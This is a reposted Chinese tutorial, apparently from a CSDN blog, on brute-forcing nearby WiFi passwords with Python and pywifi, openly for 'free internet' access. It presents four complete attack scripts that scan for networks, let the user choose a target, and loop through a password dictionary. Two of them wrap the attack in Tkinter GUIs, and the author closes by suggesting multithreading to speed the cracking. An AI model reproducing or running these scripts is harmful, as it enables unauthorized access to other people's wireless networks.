精品国产人成在线_亚洲高清无码在线观看_国产在线视频国产永久2021_国产AV综合第一页一个的一区免费影院黑人_最近中文字幕MV高清在线视频

0
  • 聊天消息
  • 系統(tǒng)消息
  • 評論與回復
登錄后你可以
  • 下載海量資料
  • 學習在線課程
  • 觀看技術視頻
  • 寫文章/發(fā)帖/加入社區(qū)
會員中心
創(chuàng)作中心

完善資料讓更多小伙伴認識你,還能領取20積分哦,立即完善>

3天內(nèi)不再提示

如何通過Python腳本實現(xiàn)WIFI密碼的暴力破解

馬哥Linux運維 ? 來源:CSDN技術社區(qū) ? 作者:Tr0e ? 2021-09-10 17:09 ? 次閱讀

前言

本文將記錄學習下如何通過 Python 腳本實現(xiàn) WIFI 密碼的暴力破解,從而實現(xiàn)免費蹭網(wǎng)。

無圖形界面

先來看看沒有圖形界面版的爆破腳本。

WIFI爆破

import pywififrom pywifi import constimport timeimport datetime

# 測試連接,返回鏈接結果def wifiConnect(pwd): # 抓取網(wǎng)卡接口 wifi = pywifi.PyWiFi() # 獲取第一個無線網(wǎng)卡 ifaces = wifi.interfaces()[0] # 斷開所有連接 ifaces.disconnect() time.sleep(1) wifistatus = ifaces.status() if wifistatus == const.IFACE_DISCONNECTED: # 創(chuàng)建WiFi連接文件 profile = pywifi.Profile() # 要連接WiFi的名稱 profile.ssid = “Tr0e” # 網(wǎng)卡的開放狀態(tài) profile.auth = const.AUTH_ALG_OPEN # wifi加密算法,一般wifi加密算法為wps profile.akm.append(const.AKM_TYPE_WPA2PSK) # 加密單元 profile.cipher = const.CIPHER_TYPE_CCMP # 調(diào)用密碼 profile.key = pwd # 刪除所有連接過的wifi文件 ifaces.remove_all_network_profiles() # 設定新的連接文件 tep_profile = ifaces.add_network_profile(profile) ifaces.connect(tep_profile) # wifi連接時間 time.sleep(2) if ifaces.status() == const.IFACE_CONNECTED: return True else: return False else: print(“已有wifi連接”)

# 讀取密碼本def readPassword(): success = False print(“****************** WIFI破解 ******************”) # 密碼本路徑 path = “pwd.txt” # 打開文件 file = open(path, “r”) start = datetime.datetime.now() while True: try: pwd = file.readline() # 去除密碼的末尾換行符 pwd = pwd.strip(‘

’) bool = wifiConnect(pwd) if bool: print(“[*] 密碼已破解:”, pwd) print(“[*] WiFi已自動連接!!!”) success = True break else: # 跳出當前循環(huán),進行下一次循環(huán) print(“正在破解 SSID 為 %s 的 WIFI密碼,當前校驗的密碼為:%s”%(“Tr0e”,pwd)) except: continue end = datetime.datetime.now() if(success): print(“[*] 本次破解WIFI密碼一共用了多長時間:{}”.format(end - start)) else: print(“[*] 很遺憾未能幫你破解出當前指定WIFI的密碼,請更換密碼字典后重新嘗試!”) exit(0)

if __name__==“__main__”: readPassword()

代碼運行效果:

089f0b22-120d-11ec-8fb8-12bb97331649.png

腳本優(yōu)化

以上腳本需內(nèi)嵌 WIFI 名、爆破字典路徑,缺少靈活性。下面進行改造優(yōu)化:

import pywifiimport timefrom pywifi import const

# WiFi掃描模塊def wifi_scan(): # 初始化wifi wifi = pywifi.PyWiFi() # 使用第一個無線網(wǎng)卡 interface = wifi.interfaces()[0] # 開始掃描 interface.scan() for i in range(4): time.sleep(1) print(‘

掃描可用 WiFi 中,請稍后。。。(’ + str(3 - i), end=‘)’) print(‘

掃描完成!

’ + ‘-’ * 38) print(‘

{:4}{:6}{}’.format(‘編號’, ‘信號強度’, ‘wifi名’)) # 掃描結果,scan_results()返回一個集,存放的是每個wifi對象 bss = interface.scan_results() # 存放wifi名的集合 wifi_name_set = set() for w in bss: # 解決亂碼問題 wifi_name_and_signal = (100 + w.signal, w.ssid.encode(‘raw_unicode_escape’).decode(‘utf-8’)) wifi_name_set.add(wifi_name_and_signal) # 存入列表并按信號排序 wifi_name_list = list(wifi_name_set) wifi_name_list = sorted(wifi_name_list, key=lambda a: a[0], reverse=True) num = 0 # 格式化輸出 while num 《 len(wifi_name_list): print(‘

{:《6d}{:《8d}{}’.format(num, wifi_name_list[num][0], wifi_name_list[num][1])) num += 1 print(‘-’ * 38) # 返回wifi列表 return wifi_name_list

# WIFI破解模塊def wifi_password_crack(wifi_name): # 字典路徑 wifi_dic_path = input(“請輸入本地用于WIFI暴力破解的密碼字典(txt格式,每個密碼占據(jù)1行)的路徑:”) with open(wifi_dic_path, ‘r’) as f: # 遍歷密碼 for pwd in f: # 去除密碼的末尾換行符 pwd = pwd.strip(‘

’) # 創(chuàng)建wifi對象 wifi = pywifi.PyWiFi() # 創(chuàng)建網(wǎng)卡對象,為第一個wifi網(wǎng)卡 interface = wifi.interfaces()[0] # 斷開所有wifi連接 interface.disconnect() # 等待其斷開 while interface.status() == 4: # 當其處于連接狀態(tài)時,利用循環(huán)等待其斷開 pass # 創(chuàng)建連接文件(對象) profile = pywifi.Profile() # wifi名稱 profile.ssid = wifi_name # 需要認證 profile.auth = const.AUTH_ALG_OPEN # wifi默認加密算法 profile.akm.append(const.AKM_TYPE_WPA2PSK) profile.cipher = const.CIPHER_TYPE_CCMP # wifi密碼 profile.key = pwd # 刪除所有wifi連接文件 interface.remove_all_network_profiles() # 設置新的wifi連接文件 tmp_profile = interface.add_network_profile(profile) # 開始嘗試連接 interface.connect(tmp_profile) start_time = time.time() while time.time() - start_time 《 1.5: # 接口狀態(tài)為4代表連接成功(當嘗試時間大于1.5秒之后則為錯誤密碼,經(jīng)測試測正確密碼一般都在1.5秒內(nèi)連接,若要提高準確性可以設置為2s或以上,相應暴力破解速度就會變慢) if interface.status() == 4: print(f‘

連接成功!密碼為:{pwd}’) exit(0) else: print(f‘

正在利用密碼 {pwd} 嘗試破解。’, end=‘’)

# 主函數(shù)def main(): # 退出標致 exit_flag = 0 # 目標編號 target_num = -1 while not exit_flag: try: print(‘WiFi萬能鑰匙’.center(35, ‘-’)) # 調(diào)用掃描模塊,返回一個排序后的wifi列表 wifi_list = wifi_scan() # 讓用戶選擇要破解的wifi編號,并對用戶輸入的編號進行判斷和異常處理 choose_exit_flag = 0 while not choose_exit_flag: try: target_num = int(input(‘請選擇你要嘗試破解的wifi:’)) # 如果要選擇的wifi編號在列表內(nèi),繼續(xù)二次判斷,否則重新輸入 if target_num in range(len(wifi_list)): # 二次確認 while not choose_exit_flag: try: choose = str(input(f‘你選擇要破解的WiFi名稱是:{wifi_list[target_num][1]},確定嗎?(Y/N)’)) # 對用戶輸入進行小寫處理,并判斷 if choose.lower() == ‘y’: choose_exit_flag = 1 elif choose.lower() == ‘n’: break # 處理用戶其它字母輸入 else: print(‘只能輸入 Y/N 哦o(* ̄︶ ̄*)o’) # 處理用戶非字母輸入 except ValueError: print(‘只能輸入 Y/N 哦o(* ̄︶ ̄*)o’) # 退出破解 if choose_exit_flag == 1: break else: print(‘請重新輸入哦(*^▽^*)’) except ValueError: print(‘只能輸入數(shù)字哦o(* ̄︶ ̄*)o’) # 密碼破解,傳入用戶選擇的wifi名稱 wifi_password_crack(wifi_list[target_num][1]) print(‘-’ * 38) exit_flag = 1 except Exception as e: print(e) raise e

if __name__ == ‘__main__’: main()

腳本運行效果如下:

08ad8d14-120d-11ec-8fb8-12bb97331649.png

上述代碼實現(xiàn)了依據(jù)信號強度枚舉當前附近的所有 WIFI 名稱,并且可供用戶自主選擇需要暴力破解的 WIFI,同時還可靈活指定暴力破解的字典,相對而言體驗感提升了不少。進一步也可以將上述腳本打包生成 exe 文件,雙擊運行效果如下:

08c00d7c-120d-11ec-8fb8-12bb97331649.png

圖形化界面

下面基于 Python 的 GUI 圖形界面開發(fā)庫 Tkinter 優(yōu)化上述腳本,實現(xiàn)友好的可視化 WIFI 暴力破解界面工具。

簡單版UI

from tkinter import *from pywifi import constimport pywifiimport time

# 主要步驟:# 1、獲取第一個無線網(wǎng)卡# 2、斷開所有的wifi# 3、讀取密碼本# 4、設置睡眠時間def wificonnect(str, wifiname): # 窗口無線對象 wifi = pywifi.PyWiFi() # 抓取第一個無線網(wǎng)卡 ifaces = wifi.interfaces()[0] # 斷開所有的wifi ifaces.disconnect() time.sleep(1) if ifaces.status() == const.IFACE_DISCONNECTED: # 創(chuàng)建wifi連接文件 profile = pywifi.Profile() profile.ssid = wifiname # wifi的加密算法 profile.akm.append(const.AKM_TYPE_WPA2PSK) # wifi的密碼 profile.key = str # 網(wǎng)卡的開發(fā) profile.auth = const.AUTH_ALG_OPEN # 加密單元,這里需要寫點加密單元否則無法連接 profile.cipher = const.CIPHER_TYPE_CCMP # 刪除所有的wifi文件 ifaces.remove_all_network_profiles() # 設置新的連接文件 tep_profile = ifaces.add_network_profile(profile) # 連接 ifaces.connect(tep_profile) time.sleep(3) if ifaces.status() == const.IFACE_CONNECTED: return True else: return False

def readPwd(): # 獲取wiif名稱 wifiname = entry.get().strip() path = r‘。/pwd.txt’ file = open(path, ‘r’) while True: try: # 讀取 mystr = file.readline().strip() # 測試連接 bool = wificonnect(mystr, wifiname) if bool: text.insert(END, ‘密碼正確’ + mystr) text.see(END) text.update() file.close() break else: text.insert(END, ‘密碼錯誤’ + mystr) text.see(END) text.update() except: continue

# 創(chuàng)建窗口root = Tk()root.title(‘wifi破解’)root.geometry(‘500x400’)# 標簽label = Label(root, text=‘輸入要破解的WIFI名稱:’)# 定位label.grid()# 輸入控件entry = Entry(root, font=(‘微軟雅黑’, 14))entry.grid(row=0, column=1)# 列表控件text = Listbox(root, font=(‘微軟雅黑’, 14), width=40, height=10)text.grid(row=1, columnspan=2)# 按鈕button = Button(root, text=‘開始破解’, width=20, height=2, command=readPwd)button.grid(row=2, columnspan=2)# 顯示窗口root.mainloop()

腳本運行效果:

08d9343c-120d-11ec-8fb8-12bb97331649.png

UI升級版

以上圖形界面未允許選擇密碼字典,下面進行優(yōu)化升級:

from tkinter import *from tkinter import ttkimport pywififrom pywifi import constimport timeimport tkinter.filedialog # 在Gui中打開文件瀏覽import tkinter.messagebox # 打開tkiner的消息提醒框

class MY_GUI(): def __init__(self, init_window_name): self.init_window_name = init_window_name # 密碼文件路徑 self.get_value = StringVar() # 設置可變內(nèi)容 # 獲取破解wifi賬號 self.get_wifi_value = StringVar() # 獲取wifi密碼 self.get_wifimm_value = StringVar() # 抓取網(wǎng)卡接口 self.wifi = pywifi.PyWiFi() # 抓取第一個無線網(wǎng)卡 self.iface = self.wifi.interfaces()[0] # 測試鏈接斷開所有鏈接 self.iface.disconnect() time.sleep(1) # 休眠1秒 # 測試網(wǎng)卡是否屬于斷開狀態(tài) assert self.iface.status() in [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]

def __str__(self): # 自動會調(diào)用的函數(shù),返回自身的網(wǎng)卡 return ‘(WIFI:%s,%s)’ % (self.wifi, self.iface.name())

# 設置窗口 def set_init_window(self): self.init_window_name.title(“WIFI破解工具”) self.init_window_name.geometry(‘+500+200’) labelframe = LabelFrame(width=400, height=200, text=“配置”) # 框架,以下對象都是對于labelframe中添加的 labelframe.grid(column=0, row=0, padx=10, pady=10) self.search = Button(labelframe, text=“搜索附近WiFi”, command=self.scans_wifi_list).grid(column=0, row=0) self.pojie = Button(labelframe, text=“開始破解”, command=self.readPassWord).grid(column=1, row=0) self.label = Label(labelframe, text=“目錄路徑:”).grid(column=0, row=1) self.path = Entry(labelframe, width=12, textvariable=self.get_value).grid(column=1, row=1) self.file = Button(labelframe, text=“添加密碼文件目錄”, command=self.add_mm_file).grid(column=2, row=1) self.wifi_text = Label(labelframe, text=“WiFi賬號:”).grid(column=0, row=2) self.wifi_input = Entry(labelframe, width=12, textvariable=self.get_wifi_value).grid(column=1, row=2) self.wifi_mm_text = Label(labelframe, text=“WiFi密碼:”).grid(column=2, row=2) self.wifi_mm_input = Entry(labelframe, width=10, textvariable=self.get_wifimm_value).grid(column=3, row=2,sticky=W) self.wifi_labelframe = LabelFrame(text=“wifi列表”) self.wifi_labelframe.grid(column=0, row=3, columnspan=4, sticky=NSEW) # 定義樹形結構與滾動條 self.wifi_tree = ttk.Treeview(self.wifi_labelframe, show=“headings”, columns=(“a”, “b”, “c”, “d”)) self.vbar = ttk.Scrollbar(self.wifi_labelframe, orient=VERTICAL, command=self.wifi_tree.yview) self.wifi_tree.configure(yscrollcommand=self.vbar.set) # 表格的標題 self.wifi_tree.column(“a”, width=50, anchor=“center”) self.wifi_tree.column(“b”, width=100, anchor=“center”) self.wifi_tree.column(“c”, width=100, anchor=“center”) self.wifi_tree.column(“d”, width=100, anchor=“center”) self.wifi_tree.heading(“a”, text=“WiFiID”) self.wifi_tree.heading(“b”, text=“SSID”) self.wifi_tree.heading(“c”, text=“BSSID”) self.wifi_tree.heading(“d”, text=“signal”) self.wifi_tree.grid(row=4, column=0, sticky=NSEW) self.wifi_tree.bind(“《Double-1》”, self.onDBClick) self.vbar.grid(row=4, column=1, sticky=NS)

# 搜索wifi def scans_wifi_list(self): # 掃描周圍wifi列表 # 開始掃描 print(“^_^ 開始掃描附近wifi.。。”) self.iface.scan() time.sleep(15) # 在若干秒后獲取掃描結果 scanres = self.iface.scan_results() # 統(tǒng)計附近被發(fā)現(xiàn)的熱點數(shù)量 nums = len(scanres) print(“數(shù)量: %s” % (nums)) # 實際數(shù)據(jù) self.show_scans_wifi_list(scanres) return scanres

# 顯示wifi列表 def show_scans_wifi_list(self, scans_res): for index, wifi_info in enumerate(scans_res): self.wifi_tree.insert(“”, ‘end’, values=(index + 1, wifi_info.ssid, wifi_info.bssid, wifi_info.signal))

# 添加密碼文件目錄 def add_mm_file(self): self.filename = tkinter.filedialog.askopenfilename() self.get_value.set(self.filename)

# Treeview綁定事件 def onDBClick(self, event): self.sels = event.widget.selection() self.get_wifi_value.set(self.wifi_tree.item(self.sels, “values”)[1])

# 讀取密碼字典,進行匹配 def readPassWord(self): self.getFilePath = self.get_value.get() self.get_wifissid = self.get_wifi_value.get() pwdfilehander = open(self.getFilePath, “r”, errors=“ignore”) while True: try: self.pwdStr = pwdfilehander.readline() if not self.pwdStr: break self.bool1 = self.connect(self.pwdStr, self.get_wifissid) if self.bool1: self.res = “[*] 密碼正確!wifi名:%s,匹配密碼:%s ” % (self.get_wifissid, self.pwdStr) self.get_wifimm_value.set(self.pwdStr) tkinter.messagebox.showinfo(‘提示’, ‘破解成功!!!’) print(self.res) break else: self.res = “[*] 密碼錯誤!wifi名:%s,匹配密碼:%s” % (self.get_wifissid, self.pwdStr) print(self.res) time.sleep(3) except: continue

# 對wifi和密碼進行匹配 def connect(self, pwd_Str, wifi_ssid): # 創(chuàng)建wifi鏈接文件 self.profile = pywifi.Profile() self.profile.ssid = wifi_ssid # wifi名稱 self.profile.auth = const.AUTH_ALG_OPEN # 網(wǎng)卡的開放 self.profile.akm.append(const.AKM_TYPE_WPA2PSK) # wifi加密算法 self.profile.cipher = const.CIPHER_TYPE_CCMP # 加密單元 self.profile.key = pwd_Str # 密碼 self.iface.remove_all_network_profiles() # 刪除所有的wifi文件 self.tmp_profile = self.iface.add_network_profile(self.profile) # 設定新的鏈接文件 self.iface.connect(self.tmp_profile) # 鏈接 time.sleep(5) if self.iface.status() == const.IFACE_CONNECTED: # 判斷是否連接上 isOK = True else: isOK = False self.iface.disconnect() # 斷開 time.sleep(1) # 檢查斷開狀態(tài) assert self.iface.status() in [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE] return isOK

def gui_start(): init_window = Tk() ui = MY_GUI(init_window) print(ui) ui.set_init_window() init_window.mainloop()

if __name__ == “__main__”: gui_start()

腳本運行效果如下:

08e4f9c0-120d-11ec-8fb8-12bb97331649.png

以上基于 Python 的 GUI 圖形界面開發(fā)庫 Tkinter,實際上 Python 的 GUI 編程可以借助 PyQt5 來自動生成 UI 代碼。

總結

本文學習了 Python 暴力破解 WIFI 密碼的方法、以及 Python GUI 圖形化編程的基礎使用。所演示的代碼的不足在于均沒有使用多線程進行 WIFI 連接測試,實際上因為 WIFI 連接測試需要一定的耗時(3-5秒),故使用多線程將能減少暴力破解過程的等待時間。

原文鏈接:https://blog.csdn.net/weixin_39190897/article/details/119778471

編輯:jq

聲明:本文內(nèi)容及配圖由入駐作者撰寫或者入駐合作網(wǎng)站授權轉載。文章觀點僅代表作者本人,不代表電子發(fā)燒友網(wǎng)立場。文章及其配圖僅供工程師學習之用,如有內(nèi)容侵權或者其他違規(guī)問題,請聯(lián)系本站處理。 舉報投訴
  • WIFI
    +關注

    關注

    81

    文章

    5287

    瀏覽量

    203279
  • 代碼
    +關注

    關注

    30

    文章

    4747

    瀏覽量

    68348
  • GUI
    GUI
    +關注

    關注

    3

    文章

    648

    瀏覽量

    39546
  • python
    +關注

    關注

    56

    文章

    4782

    瀏覽量

    84451

原文標題:Python暴力破解附近局域網(wǎng)WiFi密碼

文章出處:【微信號:magedu-Linux,微信公眾號:馬哥Linux運維】歡迎添加關注!文章轉載請注明出處。

收藏 人收藏

    評論

    相關推薦

    利用Python腳本登錄到交換機并創(chuàng)建VLAN

    本文將詳細介紹如何利用Python腳本登錄到交換機并創(chuàng)建VLAN。
    的頭像 發(fā)表于 08-12 17:59 ?519次閱讀

    使用Python腳本備份華為交換機的配置信息

    在現(xiàn)代網(wǎng)絡管理中,備份交換機的配置信息是一項至關重要的任務。備份可以確保在交換機發(fā)生故障或配置錯誤時,能夠迅速恢復到之前的工作狀態(tài)。本文將詳細介紹如何使用Python腳本備份華為交換機的配置信息。
    的頭像 發(fā)表于 08-12 17:50 ?491次閱讀
    使用<b class='flag-5'>Python</b><b class='flag-5'>腳本</b>備份華為交換機的配置信息

    python寫驗證環(huán)境cocotb

    本文介紹了cocotb的安裝、python tb文件的寫法、用xrun仿真cocotb的腳本等,我們來看看體驗如何。
    的頭像 發(fā)表于 07-24 09:38 ?466次閱讀
    用<b class='flag-5'>python</b>寫驗證環(huán)境cocotb

    如何實現(xiàn)Python復制文件操作

    Python 中有許多“開蓋即食”的模塊(比如 os,subprocess 和 shutil)以支持文件 I/O 操作。在這篇文章中,你將會看到一些用 Python 實現(xiàn)文件復制的特殊方法。下面我們開始學習這九種不同的方法來
    的頭像 發(fā)表于 07-18 14:53 ?373次閱讀

    【飛凌嵌入式OK527N-C開發(fā)板體驗】-c函數(shù)中進行wifi連接

    人啊,有無線的就不想用有線的了,板子上帶了wifi,就不想折騰有線網(wǎng)卡了。 這一節(jié)實現(xiàn)通過c函數(shù)開啟wifi。 研究了下官方提供的cmd測試程序,里面是一個
    發(fā)表于 07-06 21:11

    數(shù)字時代的網(wǎng)絡安全守護者:Splashtop 提供安全可靠的遠程桌面解決方

    。Splashtop深知安全的重要性,致力于通過綜合的多層級安全措施,保護用戶免受網(wǎng)絡威脅。網(wǎng)絡環(huán)境中的威脅不斷演變,從暴力破解密碼到網(wǎng)絡釣魚,犯罪分子的手段不斷更
    的頭像 發(fā)表于 07-03 08:37 ?187次閱讀
    數(shù)字時代的網(wǎng)絡安全守護者:Splashtop 提供安全可靠的遠程桌面解決方

    ESP32能否通過AP的BSSID和密碼來連接AP?

    ESP32的官方例程中, 在連接WIFI時, 都是按SSID和密碼來連接WIFI的。 在我們的應用場景中, AP的SSID可能無法獲知, 但可以知道AP的BSSID和密碼, 請問一下
    發(fā)表于 06-25 07:34

    求助,請問nvs如何存取多組WiFi的ssid和密碼

    現(xiàn)在已經(jīng)實現(xiàn)使用NVS存取一組WiFi的ssid和密碼,可是要實現(xiàn)多組WiFi存取ssid和密碼
    發(fā)表于 06-24 08:07

    用離線安裝器安裝的idf,其創(chuàng)建的Python虛擬環(huán)境無激活腳本是怎么回事?

    如題,用離線安裝器安裝的idf,其創(chuàng)建的Python虛擬環(huán)境無激活腳本,具體如下圖所示: 反而用vscode插件安裝的idf有,如下圖:vscode插件安裝的idf的Python虛擬環(huán)境 提問:沒有
    發(fā)表于 06-11 06:49

    飛凌ElfBoard ELF 1板卡-WiFi名稱帶空格導致WiFi連接不上

    STA模式下名稱帶空格的WiFi連接不上,這是由于WiFi腳本通過傳參的方式實現(xiàn)名稱、密碼的傳遞
    發(fā)表于 03-26 09:25

    【米爾-瑞薩RZ/G2UL開發(fā)板】2.串口通信與WIFI測試

    通過這種方式無法連接WIFI ,經(jīng)過技術人員指導 使用直連腳本 ifup_wifi_sta -ssid FAST_17DC -passwd qq123456 設置開機自動連接
    發(fā)表于 02-05 19:33

    通過Python腳本實現(xiàn)WIFI密碼的自動猜解

    本文將記錄學習下如何通過 Python 腳本實現(xiàn) WIFI 密碼的自動猜解。
    的頭像 發(fā)表于 01-25 10:46 ?3293次閱讀
    <b class='flag-5'>通過</b><b class='flag-5'>Python</b><b class='flag-5'>腳本</b><b class='flag-5'>實現(xiàn)</b><b class='flag-5'>WIFI</b><b class='flag-5'>密碼</b>的自動猜解

    通過JTAG啟動Linux的方法和腳本

    存儲器(QSPI Flash,eMMC 等)上的鏡像,直接啟動到 Linux。但當板子調(diào)試時,經(jīng)常需要通過 JTAG 把 SoC 器件啟動到 Linux。這篇文章將分享通過 JTAG 啟動 Linux 的方法和腳本
    的頭像 發(fā)表于 12-22 10:27 ?1392次閱讀
    <b class='flag-5'>通過</b>JTAG啟動Linux的方法和<b class='flag-5'>腳本</b>

    如何使用Python編寫腳本來自動發(fā)送郵件

    Python是一種非常流行的編程語言,可以用于多種用途,包括自動化任務。其中一個常見的自動化任務是自動發(fā)送郵件。在本文中,我們將介紹如何使用Python編寫腳本來自動發(fā)送郵件。 要使用Pyth
    的頭像 發(fā)表于 12-07 11:36 ?1305次閱讀

    【ELF 1開發(fā)板試用】+ python腳本編程

    ELF 1開發(fā)板支持python的使用,其版本為V2.7.11。 在使用串口登錄后,通過輸入python及回車可啟動python,見圖1所示。 圖1 啟動
    發(fā)表于 11-28 10:24